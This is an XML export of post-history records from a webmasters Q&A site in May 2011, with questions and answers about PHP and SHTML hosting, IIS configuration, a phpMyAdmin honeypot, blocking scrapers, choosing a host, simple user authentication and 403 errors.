  <row Id="31899" PostHistoryTypeId="5" PostId="13744" RevisionGUID="e0584705-d484-4799-a87b-f7db36cfb258" CreationDate="2011-05-13T14:30:27.553" UserId="5134" Comment="added 102 characters in body" Text="I'm looking an open source self hosted  PHP and MySQL document management apps.&#xD;&#xA;&#xD;&#xA; - security: accessing a document by specific users &#xD;&#xA; - Work flow: by admin approval (may be two admins)&#xD;&#xA; - document supporting:  .pdf  and common Microsoft office file formats&#xD;&#xA; - view documents online instead of downloading like pdf and doc files (downloads allows by admin &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;I was looking [knowledge tree futures][1]  if there is an open source alternative for knowledge tree i will prefer that. &#xD;&#xA;&#xD;&#xA; any suggestion? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.knowledgetree.com/features" />
  <row Id="31906" PostHistoryTypeId="5" PostId="13731" RevisionGUID="ec0728f9-9f4b-4fe4-b8d9-73cae122ec09" CreationDate="2011-05-13T15:10:21.200" UserId="7474" Comment="server" Text="I have a lot of SHTML pages.  &#xD;&#xA;If I change these to PHP to add some more functionality _(obviously changing stuff like includes to PHP where necessary)_ **will this effect how search engines index my site?**   _(most importantly Google)_&#xD;&#xA;&#xD;&#xA;Will they still index the PHP files the same as the old SHTML and just as often, etc.?  &#xD;&#xA;  Will there be any difference?&#xD;&#xA;&#xD;&#xA;**Background Info:**  &#xD;&#xA;Server=**IIS**&#xD;&#xA;&#xD;&#xA;This is my thinking/reasoning behind this question. We have **a lot** of shtml pages.   &#xD;&#xA;I think it's because Google will index them all.   &#xD;&#xA;E.g.: If you have a file individual_page.php and essentialy this page is many pages; individual_page.php?id=39430403 then Google won't index each one right? But if I have static files, they'll index them all, right?" />
  <row Id="31907" PostHistoryTypeId="25" PostId="13737" RevisionGUID="1f5b2ba1-b089-4d79-a1ba-2e917deaa52c" CreationDate="2011-05-13T15:11:53.197" Comment="http://twitter.com/#!/StackWebmasters/status/69057278396989440" />
  <row Id="31911" PostHistoryTypeId="2" PostId="13748" RevisionGUID="4ebc820b-4890-48a8-8606-f3818a233fc0" CreationDate="2011-05-13T15:37:14.173" UserId="7474" Text="I want to be able to get IIS to interpret SHTML files (only in a specific directory) as PHP, and interpret the rest as SHTML.&#xD;&#xA;&#xD;&#xA;_If so_, then **how**?" />
  <row Id="31912" PostHistoryTypeId="1" PostId="13748" RevisionGUID="4ebc820b-4890-48a8-8606-f3818a233fc0" CreationDate="2011-05-13T15:37:14.173" UserId="7474" Text="Can I get IIS to treat some .shtml files as .php files?" />
  <row Id="31913" PostHistoryTypeId="3" PostId="13748" RevisionGUID="4ebc820b-4890-48a8-8606-f3818a233fc0" CreationDate="2011-05-13T15:37:14.173" UserId="7474" Text="&lt;html&gt;&lt;php&gt;&lt;mod-rewrite&gt;&lt;iis&gt;&lt;server-side-scripting&gt;" />
  <row Id="31914" PostHistoryTypeId="2" PostId="13749" RevisionGUID="8d118f8e-9387-4472-88e6-519a034bfc00" CreationDate="2011-05-13T15:42:11.707" UserId="1253" Text="Here are [instructions from Microsoft.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4c840252-fab7-427e-a197-7facb6649106.mspx?mfr=true" />
  <row Id="31915" PostHistoryTypeId="5" PostId="13637" RevisionGUID="82f06e7b-186d-402d-a29c-adbca3e05caf" CreationDate="2011-05-13T15:42:29.837" UserId="118" Comment="added 32 characters in body; edited title" Text="I'm trying to figure out whether I should set up a honeypot system with a fake phpMyAdmin (site gets hits all the time with people spidering for insecurities with that app).&#xD;&#xA;&#xD;&#xA;My thought was to create a honeypot php script that would mimic a phpMyAdmin login, and then blacklist ips that hit that url (and aren't already whitelisted).  I would then add the appropriate urls to the robots.txt so that spiders that actually respect my robots.txt wouldn't be caught by the blacklist.&#xD;&#xA;&#xD;&#xA;Are there disadvantages to this approach, do legit robots sometimes not respect robots.txt in certain circumstances, are there any problems with this that I should consider in advance?" />
  <row Id="31916" PostHistoryTypeId="4" PostId="13637" RevisionGUID="82f06e7b-186d-402d-a29c-adbca3e05caf" CreationDate="2011-05-13T15:42:29.837" UserId="118" Comment="added 32 characters in body; edited title" Text="Disadvantages of a fake phpMyAdmin honeypot that causes ip blacklisting and robots.txt disallow/exclusion of the honeypot?" />
  <row Id="31926" PostHistoryTypeId="2" PostId="13751" RevisionGUID="86afe6d9-c6cc-48d1-8995-13e7e6c86485" CreationDate="2011-05-13T15:54:59.663" UserId="7405" Text="Really, you could have both.  Decide which one will be the primary domain.  If xxxyyy.com is the primary domain that is running the site, then you could have xxx.yyy.com (and www.xxxyyy.com) auto redirect to xxxyyy.com.  If you do that, make sure that you are sending a '301' status code with the redirect so that search engines know which one is your primary domain.  Your page rank could take a hit if you have pages for both www.xxxyyy.com and xxxyyy.com showing in search results.  And absolutely make sure you do not have the same content and/or pages on different domains.  The smart search engines can pick this up and can actually penalize you for it (or in severe cases blacklist you for it).  Here is some information from Google that should help:  &#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=66359" />
  <row Id="31927" PostHistoryTypeId="2" PostId="13752" RevisionGUID="07702ca1-1492-4b76-b4ad-d8c6e627b980" CreationDate="2011-05-13T14:48:33.757" UserDisplayName="Teivere" Text="Can't find anything on this, what are the steps or instructions for installing PHP with Tomcat 7 on Windows?" />
  <row Id="31928" PostHistoryTypeId="1" PostId="13752" RevisionGUID="07702ca1-1492-4b76-b4ad-d8c6e627b980" CreationDate="2011-05-13T14:48:33.757" UserDisplayName="Teivere" Text="Install PHP5 with Tomcat 7 on Windows?" />
  <row Id="31929" PostHistoryTypeId="3" PostId="13752" RevisionGUID="07702ca1-1492-4b76-b4ad-d8c6e627b980" CreationDate="2011-05-13T14:48:33.757" UserDisplayName="Teivere" Text="&lt;php&gt;" />
  <row Id="31930" PostHistoryTypeId="17" PostId="13752" RevisionGUID="96e6efd8-3b1f-4a30-b724-9de23fe82ff4" CreationDate="2011-05-13T16:27:02.960" UserId="-1" Comment="from http://stackoverflow.com/questions/5993667/install-php5-with-tomcat-7-on-windows" Text="" />
  <row Id="31931" PostHistoryTypeId="2" PostId="13753" RevisionGUID="f7a7603a-49c8-4576-b740-7522dbaa55a4" CreationDate="2011-05-12T23:16:41.027" UserDisplayName="user39364" Text="&#xD;&#xA;&#xD;&#xA;I would like &quot;people out there&quot; to be able to host subdomains to my domain easily.  I'm aware that you can do this using afraid.org (free) and it works well, however for &quot;people out there&quot; to use afraid.org is a hard thing because of its cryptic interface (not very user friendly).  &#xD;&#xA;&#xD;&#xA;Any alternatives out there you can recommend, that would allow unlimited subdomains on my domain for whoever wants them, but more user friendly?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31932" PostHistoryTypeId="1" PostId="13753" RevisionGUID="f7a7603a-49c8-4576-b740-7522dbaa55a4" CreationDate="2011-05-12T23:16:41.027" UserDisplayName="user39364" Text="Is there an more user friendly alternative to afraid.org for DNS subdomains?" />
  <row Id="31933" PostHistoryTypeId="3" PostId="13753" RevisionGUID="f7a7603a-49c8-4576-b740-7522dbaa55a4" CreationDate="2011-05-12T23:16:41.027" UserDisplayName="user39364" Text="&lt;dns&gt;&lt;subdomain&gt;" />
  <row Id="31934" PostHistoryTypeId="17" PostId="13753" RevisionGUID="849dadf4-828e-44da-b5aa-b4fca8b394ed" CreationDate="2011-05-13T16:36:04.623" UserId="-1" Comment="from http://superuser.com/questions/282785/is-there-an-more-user-friendly-alternative-to-afraid-org-for-dns-subdomains" Text="" />
  <row Id="31935" PostHistoryTypeId="2" PostId="13754" RevisionGUID="f86e085f-df74-464c-a047-f7be75662f01" CreationDate="2011-05-13T17:05:53.487" UserId="108" Text="You have to look at Captcha as a security measure.  With that in mind companies use Captcha for two reasons.&#xD;&#xA;&#xD;&#xA; 1. It is the easiest and fastest solution for them to solve bot problems&#xD;&#xA; 2. They are using other means of bot detection but they need additional layers and Captcha is one of those layers&#xD;&#xA;&#xD;&#xA;As a company becomes bigger, more well known, and hosts more important/secure systems they become a bigger target.  The level of security you need at your company is related to how big of a target you are, no security system is 100% foolproof.  So when you see companies like Google, Yahoo, and eBay using Captcha don't be fooled into thinking that that is there only line of defense against bots.  That is just one of their many barriers and they choose to use it because it is successful often enough and it is obvious enough that its existence will deter some hackers." />
  <row Id="31936" PostHistoryTypeId="2" PostId="13755" RevisionGUID="f71c2e17-1aa8-4e02-8ae4-1ff7fa9cdacd" CreationDate="2011-05-13T17:22:03.863" UserId="5718" Text="Tomcat's specifically designed to run Java Servlets so using it for PHP isn't normal. You could try using Quercus http://www.caucho.com/resin-3.0/quercus/. It's built for the Resin server but should work for Tomcat (although I haven't ever tried it out myself). Alternatively, if you just want to run some PHP scripts from a Servlet, you could try out the PHP/Java Bridge http://php-java-bridge.sourceforge.net/pjb/.&#xD;&#xA;&#xD;&#xA;A different approach that might work better could be to install Apache and use it as the web server for Tomcat instead of using it's own server. You could then run both Servlets and PHP from the same web server. The two wouldn't be able to communicate with each other directly but you might be better off using more indirect communication anyway." />
  <row Id="31937" PostHistoryTypeId="25" PostId="13748" RevisionGUID="86738242-41ab-4d76-aa44-b9b788fc023f" CreationDate="2011-05-13T18:11:57.630" Comment="http://twitter.com/#!/StackWebmasters/status/69102596266262528" />
  <row Id="31938" PostHistoryTypeId="2" PostId="13756" RevisionGUID="bb5ca7ca-ea91-4a67-92ed-869044a1f42a" CreationDate="2011-05-13T18:37:48.960" UserId="7487" Text="My top 3 =&#xD;&#xA;&#xD;&#xA;[www.linkbucks.com/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[www.camdough.com/][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linkbucks.com/referral/337879&#xD;&#xA;  [2]: http://stats.camdough.com/camdough_stats.php?wid=102964&amp;cid=100&#xD;&#xA; " />
  <row Id="31939" PostHistoryTypeId="5" PostId="13756" RevisionGUID="287cc24a-bb95-4d13-ba1c-548af629a550" CreationDate="2011-05-13T18:49:09.087" UserId="1253" Comment="removed affiliate links" Text="My top 2 =&#xD;&#xA;&#xD;&#xA;www.linkbucks.com/&#xD;&#xA;&#xD;&#xA;www.camdough.com/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="31940" PostHistoryTypeId="19" PostId="8122" RevisionGUID="4b4968da-bb1a-4eac-8b95-e7eec80eb3b0" CreationDate="2011-05-13T18:49:39.507" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="31943" PostHistoryTypeId="2" PostId="13757" RevisionGUID="455ec097-4a00-4a9d-98aa-440bd3bbbb2a" CreationDate="2011-05-13T17:41:47.130" UserDisplayName="user674073" Text="My website is being attacked too much lately and my provider is unresponsive. Logs show dozens of attempts to run mysql setup.php scripts from various locations, then the logs vanish. Time to find another host.&#xD;&#xA;&#xD;&#xA;I lack the skill to config and run my own server -- actually, I'd have no problem setting it up and running it, I'm just not current on Linux security -- so I must rely on a competent host.&#xD;&#xA;&#xD;&#xA;Can anyone recommend a Linux-based hosting service with solid security and reasonable bandwidth rates? I will be selling a program so there will be a large number of downloads.&#xD;&#xA;&#xD;&#xA;I am in Canada, so USA or Canada is preferred. &#xD;&#xA;&#xD;&#xA;All advice is welcome. Thanks." />
  <row Id="31944" PostHistoryTypeId="1" PostId="13757" RevisionGUID="455ec097-4a00-4a9d-98aa-440bd3bbbb2a" CreationDate="2011-05-13T17:41:47.130" UserDisplayName="user674073" Text="Need new secure host" />
  <row Id="31945" PostHistoryTypeId="3" PostId="13757" RevisionGUID="455ec097-4a00-4a9d-98aa-440bd3bbbb2a" CreationDate="2011-05-13T17:41:47.130" UserDisplayName="user674073" Text="&lt;hosting&gt;" />
  <row Id="31946" PostHistoryTypeId="17" PostId="13757" RevisionGUID="0654aaa4-6178-4de8-a6bf-a84e95a05ea3" CreationDate="2011-05-13T18:57:13.493" UserId="-1" Comment="from http://stackoverflow.com/questions/5995726/need-new-secure-host" Text="" />
  <row Id="31947" PostHistoryTypeId="6" PostId="13757" RevisionGUID="3fb4914d-a450-42c1-8bf8-98093f0ed201" CreationDate="2011-05-13T19:15:07.043" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;linux&gt;&lt;looking-for-hosting&gt;" />
  <row Id="31949" PostHistoryTypeId="2" PostId="13759" RevisionGUID="36235451-a5d0-410a-9047-cd78653cb82f" CreationDate="2011-05-13T19:21:07.197" UserId="7405" Text="This is a very subjective question as there are any number of good hosting companies out there.  Opinions on hosting companies are typically based on personal experience, referrals by trusted sources, quality support, features, etc.  A testimonial is not really going to give you a true picture of a hosting company until you actually try it.  Even good hosting companies can have a bad day.  I personally have had good luck with both HostGator as well as Hosting.com.  Both offer shared hosting plans as well as VPS plans at good prices.  But I'm sure there are a number of people out there who have had poor experiences with both of those as well.&#xD;&#xA;&#xD;&#xA;You could have a hundred people respond to your question with a hundred different answers.  Best suggestion would be to sign up with a couple of different providers to try out their services.  Most will offer a money back guarantee or will allow you to cancel your account with no questions asked." />
  <row Id="31950" PostHistoryTypeId="2" PostId="13760" RevisionGUID="613ba3a2-c419-403a-8d7e-7553a997f07b" CreationDate="2011-05-13T19:28:54.210" UserId="7405" Text="Here is a response I provided on a similar question:  &#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/13757/need-new-secure-host/13759#13759" />
  <row Id="31951" PostHistoryTypeId="2" PostId="13761" RevisionGUID="73622b80-45a0-4a5d-ae0b-399df8d10c6d" CreationDate="2011-05-13T19:46:30.467" UserId="7405" Text="Depending on what exactly you would be looking to scale out, a cloud provider such as Rackspace or Amazon may be a good choice as well.  Providers such as these allow you to scale on demand and offer quite a few options to both scale out (additional servers) and scale up (grow your existing server).  In addition to scaling the server infrastructure, you have options for scaling the network infrastructure as well such as bandwidth, firewalls, and load balancers." />
  <row Id="31952" PostHistoryTypeId="2" PostId="13762" RevisionGUID="65a3e9ba-9788-4364-86ed-74744e7c4402" CreationDate="2011-05-13T19:51:31.147" UserId="1010" Text="&gt; My website is being attacked too much lately [...] Logs show dozens of attempts to run mysql setup.php scripts&#xD;&#xA;&#xD;&#xA;It can be extremely difficult to discern legitimate requests from illegitimate requests.  For shared hosting, it's frequently better to not attempt to block anything, as doing so can affect clients.  It's unlikely that your host would be willing to take any extreme steps to block these requests.  I wouldn't leave them *just* over this.&#xD;&#xA;&#xD;&#xA;Further, as long as the scripts in question either don't exist on your site or have been properly secured, neither your site nor your data are at immediate risk.  On the other hand, other sites on the server could be at risk, which *could* place you at risk as well.  This is the sacrifice of shared hosting.  If you want security and isolation, you'll want either a VPS or dedicated hardware.&#xD;&#xA;&#xD;&#xA;&gt; and my provider is unresponsive. &#xD;&#xA;&#xD;&#xA;Unresponsive as in no communications, or unresponsive as in not telling you what you want to hear? &#xD;&#xA;&#xD;&#xA;If they aren't responding at all, I wouldn't blame you for leaving them.  On the other hand...&#xD;&#xA;&#xD;&#xA;&gt; Frontpage extensions were mysteriously enabled&#xD;&#xA;&#xD;&#xA;Holy crap, dump them.  The fact that they even have the Frontpage extensions *available* speaks volumes about their platform of choice.&#xD;&#xA;&#xD;&#xA;A plain old Dreamhost shared account is probably adequate for your needs.  Before I moved to VPSes, I used [FutureQuest](http://futurequest.net/) for most of my hosting needs.  They're a bit pricy, but the support is first-rate." />
  <row Id="31953" PostHistoryTypeId="2" PostId="13763" RevisionGUID="aecaa64f-342d-4f5b-b25d-32759cfe481c" CreationDate="2011-05-13T20:02:27.940" UserId="7405" Text="Picking a hosting provider is usually a fairly subjective process.  You generally have to try them out to get a good feel for them.  A couple of good ColdFusion providers I personally have used in the past have been Hosting.com (previously HostMySite.com) and CrystalTech (now known as 'The Small Business Authority').  Both have good plans available and are very reliable.  I too have not heard good things about GoDaddy ColdFusion hosting.&#xD;&#xA;&#xD;&#xA;You will generally find ColdFusion hosting on Windows but can usually find it with MySQL databases available.  A few Adobe partners are listed on the [Adobe site][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adobe.com/products/coldfusion/hosting/" />
  <row Id="31954" PostHistoryTypeId="17" PostId="13765" RevisionGUID="ccaaf4ef-1a0c-4103-8e65-f6bae06f2e0b" CreationDate="2011-05-13T20:39:05.523" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/76203/how-to-protect-shtml-pages-from-crawlers-spiders-scrapers/76206#76206" Text="" />
  <row Id="31955" PostHistoryTypeId="2" PostId="13765" RevisionGUID="38e4653c-9db0-4b3c-9221-81dc9289b247" CreationDate="2011-05-13T19:59:51.180" UserDisplayName="Dave Wise" Text="You didn't specify a server technology so this answer may not apply, but can't you simply move the SSI pages to a directory that only the ID that the web server is running as has access to but the anonymous ID does not?" />
  <row Id="31956" PostHistoryTypeId="2" PostId="13764" RevisionGUID="7433128d-ac73-45c6-bb17-a62f542f4eb8" CreationDate="2011-05-13T19:40:40.563" UserId="7474" Text="I have **A LOT** of SHTML pages I want to protect from crawlers, spiders &amp; scrapers. &#xD;&#xA;&#xD;&#xA;I understand the limitations of SSIs. An implementation of the following can be suggested in conjunction with any technology/technologies you wish:  &#xD;&#xA;`The idea is that if you request too many pages too fast you're added to a blacklist for 24 hrs and shown a captcha instead of content, upon every page you request. If you enter the captcha correctly you've removed from the blacklist.  &#xD;&#xA;There is a whitelist so GoogleBot, etc. will never get blocked.`&#xD;&#xA;&#xD;&#xA;Which is the **best/easiest way to implement this** idea?&#xD;&#xA;&#xD;&#xA;Server = IIS  &#xD;&#xA;&#xD;&#xA;_Cleaning out the old tuples from a DB every 24 hrs is easily done so no need to explain that._" />
  <row Id="31957" PostHistoryTypeId="1" PostId="13764" RevisionGUID="7433128d-ac73-45c6-bb17-a62f542f4eb8" CreationDate="2011-05-13T19:40:40.563" UserId="7474" Text="How to protect SHTML pages from crawlers/spiders/scrapers?" />
  <row Id="31958" PostHistoryTypeId="3" PostId="13764" RevisionGUID="7433128d-ac73-45c6-bb17-a62f542f4eb8" CreationDate="2011-05-13T19:40:40.563" UserId="7474" Text="&lt;security&gt;&lt;html&gt;&lt;captcha&gt;" />
  <row Id="31959" PostHistoryTypeId="17" PostId="13764" RevisionGUID="f24ffc2e-f30c-4172-87df-22fc650a826e" CreationDate="2011-05-13T20:39:05.523" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/76203/how-to-protect-shtml-pages-from-crawlers-spiders-scrapers" Text="" />
  <row Id="31960" PostHistoryTypeId="6" PostId="13764" RevisionGUID="1ffe829e-30b9-4503-be33-e6af2c1b35f0" CreationDate="2011-05-13T20:57:41.310" UserId="1253" Comment="modified tags" Text="&lt;security&gt;&lt;scraper-sites&gt;" />
  <row Id="31961" PostHistoryTypeId="2" PostId="13766" RevisionGUID="563e1367-b0af-41f8-ba71-609fcce414c3" CreationDate="2011-05-13T21:00:43.170" UserId="6943" Text="Well, you can render everything into an image format...&#xD;&#xA;&#xD;&#xA;If it can be viewed, it can be scraped. Your only recourse is to attempt to identify &quot;mechanical&quot; traffic by monitoring incoming requests, and checking the intervals between page requests. If an ip is requesting multiple pages a second, it's almost certainly a scraper or a spider.&#xD;&#xA;&#xD;&#xA;A clever scripter will have a random amount of delay built in, however. If they are patient, there is effectively nothing you can do to stop them. Perhaps set an upper limit per IP? You risk alienating your biggest users.&#xD;&#xA;&#xD;&#xA;Some people try blocking unknown HTTP_USER_AGENTs, but that's a waste of time: it'll only stop the same people who would respect a robots.txt file." />
  <row Id="31962" PostHistoryTypeId="5" PostId="13766" RevisionGUID="d6c9d909-3f3b-4702-ba92-532c7ae1a716" CreationDate="2011-05-13T21:06:41.890" UserId="6943" Comment="added 565 characters in body" Text="Well, you can render everything into an image format...That sort of thing tends to cause *me* issues, and it can be done reliably using ImageMagick, for example. I tend to scrape a lot of government sites, and they store vast quantities of information in scanned documents. Blech. What a pain. But judicious use of OCR will foil this sort of security.&#xD;&#xA;&#xD;&#xA;If it can be viewed, it can be scraped. Your only recourse is to attempt to identify &quot;mechanical&quot; traffic by monitoring incoming requests, and checking the intervals between page requests. If an ip is requesting multiple pages a second, it's almost certainly a scraper or a spider. Or if it requests one page every 10 seconds, or some other impossibly precise interval. Google uses a learning algorithm to spot scraper-like traffic, but I can count on one hand the number of times I've tripped it (though I very seldom run up against Google content).&#xD;&#xA;&#xD;&#xA;A clever scripter will have a random amount of delay built in, however. If they are patient, there is effectively nothing you can do to stop them. Perhaps set an upper limit per IP? You risk alienating your biggest users.&#xD;&#xA;&#xD;&#xA;Some people try blocking unknown HTTP_USER_AGENTs, but that's a waste of time: it'll only stop the same people who would respect a robots.txt file." />
  <row Id="31963" PostHistoryTypeId="25" PostId="13764" RevisionGUID="e3157f6c-54cd-4044-a092-39d26e878d24" CreationDate="2011-05-13T21:11:57.927" Comment="http://twitter.com/#!/StackWebmasters/status/69147895726743552" />
  <row Id="31964" PostHistoryTypeId="2" PostId="13767" RevisionGUID="0582b2b4-7a84-4972-8c86-007fc2e28441" CreationDate="2011-05-13T21:47:18.863" UserId="7490" Text="For all the websites I've ever hosted somewhere, I've always used Linux plans - because they were either static, or Perl/PHP + MySQL based sites.  Since you're looking for CF + MySQL, I would recommend a Linux plan.  I find Linux shared hosting quite good, even on GoDaddy. &#xD;&#xA;&#xD;&#xA;I know a lot of others complain about GoDaddy, but for a relatively small site I don't see any problems, as I've personally never had problems with GoDaddy.  You may also find it convenient to manage your domains and host your sites at the same company.  I have also used DreamHost and liked it, especially for their Subversion hosting (they don't seem to have CF though).&#xD;&#xA;&#xD;&#xA;The only reason I'd pick a Windows plan is if I wanted to use a Windows-specific feature such as ASP.NET with MS SQL." />
  <row Id="31965" PostHistoryTypeId="2" PostId="13768" RevisionGUID="f6a74233-8e51-4f2d-9afd-89c2351a1add" CreationDate="2011-05-13T22:29:48.500" UserId="6855" Text="I hope I'm not asking a question for which the answer is obvious...If I am, apologies.&#xD;&#xA;&#xD;&#xA;Within my html site (ie not Wordpress, Joomla etc.)  I want to be able to have a level of user management.  That means that some pages I want to be only accessible to certain people with the correct username and password.&#xD;&#xA;&#xD;&#xA;What's the best way to do this?&#xD;&#xA;&#xD;&#xA;Thanks and apologies for the probably stupid, n00b question :)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31966" PostHistoryTypeId="1" PostId="13768" RevisionGUID="f6a74233-8e51-4f2d-9afd-89c2351a1add" CreationDate="2011-05-13T22:29:48.500" UserId="6855" Text="Easy user management on html site?" />
  <row Id="31967" PostHistoryTypeId="3" PostId="13768" RevisionGUID="f6a74233-8e51-4f2d-9afd-89c2351a1add" CreationDate="2011-05-13T22:29:48.500" UserId="6855" Text="&lt;html&gt;&lt;users&gt;&lt;management&gt;" />
  <row Id="31968" PostHistoryTypeId="2" PostId="13769" RevisionGUID="e876211a-f66a-4ca8-83dc-efb538bb37c2" CreationDate="2011-05-13T22:42:42.180" UserId="1253" Text="You have two options &#xD;&#xA;&#xD;&#xA;1) Use [JavaScript][1] - this allows you to dynamically check a username and password, set cookies, and reject users who fail authenticate. The downside to this is anyone who knows how JavaScript works can easily find the username and password in your JavaScript and gain access to your site. Or, even easier, just turn off JavaScript to bypass it completely.&#xD;&#xA;&#xD;&#xA;2) Use [Basic Authentication][2] - This allows you to have a little pop up window that asks for a username and password and if the login fails reject the user. The downside to this is you'll need to set up each user through a control panel or through SSH.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=basic%20authentication#hl=en&amp;sugexp=ldymls&amp;pq=basic%20authentication&amp;xhr=t&amp;q=javascript%20password%20protection&amp;cp=29&amp;qe=amF2YXNjcmlwdCBwYXNzd29yZCBwcm90ZWN0aW4&amp;qesig=9F0vmgrj5kORetOFaO__SQ&amp;pkc=AFgZ2tnmzmaCb12hQwH4_nDq93dFR_p9qOLHDJpHdOsCGvQnbP-k_Yj7NV5GAQD9GkpA52f4Rdc06JplkJbTCF-EqiPux20vdQ&amp;pf=p&amp;sclient=psy&amp;safe=off&amp;source=hp&amp;aq=0l&amp;aqi=&amp;aql=&amp;oq=javascript%20password%20protectin&amp;pbx=1&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=4d6f6ce8c32f4f53&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Basic_access_authentication" />
  <row Id="31969" PostHistoryTypeId="5" PostId="13769" RevisionGUID="4f0c9987-582c-4bdb-b2cb-f668facffc4a" CreationDate="2011-05-13T22:53:30.403" UserId="1253" Comment="added 89 characters in body" Text="You have two options (assuming you will not be using server side scripting whish is implied in your question):&#xD;&#xA;&#xD;&#xA;1) Use [JavaScript][1] - this allows you to dynamically check a username and password, set cookies, and reject users who fail authenticate. The downside to this is anyone who knows how JavaScript works can easily find the username and password in your JavaScript and gain access to your site. Or, even easier, just turn off JavaScript to bypass it completely.&#xD;&#xA;&#xD;&#xA;2) Use [Basic Authentication][2] - This allows you to have a little pop up window that asks for a username and password and if the login fails reject the user. The downside to this is you'll need to set up each user through a control panel or through SSH.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=basic%20authentication#hl=en&amp;sugexp=ldymls&amp;pq=basic%20authentication&amp;xhr=t&amp;q=javascript%20password%20protection&amp;cp=29&amp;qe=amF2YXNjcmlwdCBwYXNzd29yZCBwcm90ZWN0aW4&amp;qesig=9F0vmgrj5kORetOFaO__SQ&amp;pkc=AFgZ2tnmzmaCb12hQwH4_nDq93dFR_p9qOLHDJpHdOsCGvQnbP-k_Yj7NV5GAQD9GkpA52f4Rdc06JplkJbTCF-EqiPux20vdQ&amp;pf=p&amp;sclient=psy&amp;safe=off&amp;source=hp&amp;aq=0l&amp;aqi=&amp;aql=&amp;oq=javascript%20password%20protectin&amp;pbx=1&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=4d6f6ce8c32f4f53&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Basic_access_authentication" />
  <row Id="31970" PostHistoryTypeId="2" PostId="13770" RevisionGUID="55a18be9-e4da-49a4-bb42-0b687651122a" CreationDate="2011-05-13T23:03:59.343" UserId="7493" Text="I've got a well-established web application.  It's working for lots of people with a variety of browsers and platforms.  But, there's this one guy...&#xD;&#xA;&#xD;&#xA;He's getting a &quot;403 Forbidden&quot; on his side, I've even seen screen shots.  But, I'm not logging anything in Apache or Tomcat that seems to indicate that he's actually been denied. I know he's authenticating because I see it explicitly.  This, combined with the fact that he's the only broken user makes me wonder:&#xD;&#xA;&#xD;&#xA;Can a browser ( IE in this case ) ever decide on it's own to throw a 403 that's not actually generated by the server?&#xD;&#xA;&#xD;&#xA;PS:  I don't have rep to create '403' tag, but it's probably appropriate.&#xD;&#xA;" />
  <row Id="31971" PostHistoryTypeId="1" PostId="13770" RevisionGUID="55a18be9-e4da-49a4-bb42-0b687651122a" CreationDate="2011-05-13T23:03:59.343" UserId="7493" Text="Can a 403 error ever be client side?" />
  <row Id="31972" PostHistoryTypeId="3" PostId="13770" RevisionGUID="55a18be9-e4da-49a4-bb42-0b687651122a" CreationDate="2011-05-13T23:03:59.343" UserId="7493" Text="&lt;apache&gt;&lt;browsers&gt;" />
  <row Id="31973" PostHistoryTypeId="6" PostId="13770" RevisionGUID="6439cc4f-57a6-4ae4-b6c3-0c72239b2d09" CreationDate="2011-05-13T23:11:58.850" UserId="1253" Comment="edited tags" Text="&lt;apache&gt;&lt;browsers&gt;&lt;403&gt;" />
  <row Id="31974" PostHistoryTypeId="2" PostId="13771" RevisionGUID="e8092b4a-0012-4f8a-a93c-de457fc5f645" CreationDate="2011-05-13T23:12:48.303" UserId="7471" Text="It could be generated by a proxy server between the client and your server. Check the error message." />
  <row Id="31975" PostHistoryTypeId="5" PostId="13770" RevisionGUID="d6ce6104-8081-42e3-bbaf-bc096f5fae9f" CreationDate="2011-05-13T23:30:01.590" UserId="7493" Comment="deleted 1 characters in body" Text="I've got a well-established web application.  It's working for lots of people with a variety of browsers and platforms.  But, there's this one guy...&#xD;&#xA;&#xD;&#xA;He's getting a &quot;403 Forbidden&quot; on his side, I've even seen screen shots.  But, I'm not logging anything in Apache or Tomcat that seems to indicate that he's actually been denied. I know he's authenticating because I see it explicitly.  This, combined with the fact that he's the only broken user makes me wonder:&#xD;&#xA;&#xD;&#xA;Can a browser ( IE in this case ) ever decide on its own to throw a 403 that's not actually generated by the server?&#xD;&#xA;&#xD;&#xA;PS:  I don't have rep to create '403' tag, but it's probably appropriate.&#xD;&#xA;" />
  <row Id="31976" PostHistoryTypeId="2" PostId="13772" RevisionGUID="e5d7dfbc-b17e-402f-9468-5d9f8cc2ae8b" CreationDate="2011-05-13T23:51:38.753" UserId="302" Text="All,&#xD;&#xA;&#xD;&#xA;I'm developing a small, non-commercial web app.  I'm trying to decide how to help a user who might have lost their password.  I need a mechanism that is, in order of priority:  &#xD;&#xA;1) User friendly;  &#xD;&#xA;2) Secure;  &#xD;&#xA;3) Easily scalable across multiple geographies.  &#xD;&#xA;&#xD;&#xA;Please give 1 approach per answer and let's let the votes bring the best ones to the top.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;JDelage&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31977" PostHistoryTypeId="1" PostId="13772" RevisionGUID="e5d7dfbc-b17e-402f-9468-5d9f8cc2ae8b" CreationDate="2011-05-13T23:51:38.753" UserId="302" Text="What are recommended password reset mecanisms?" />
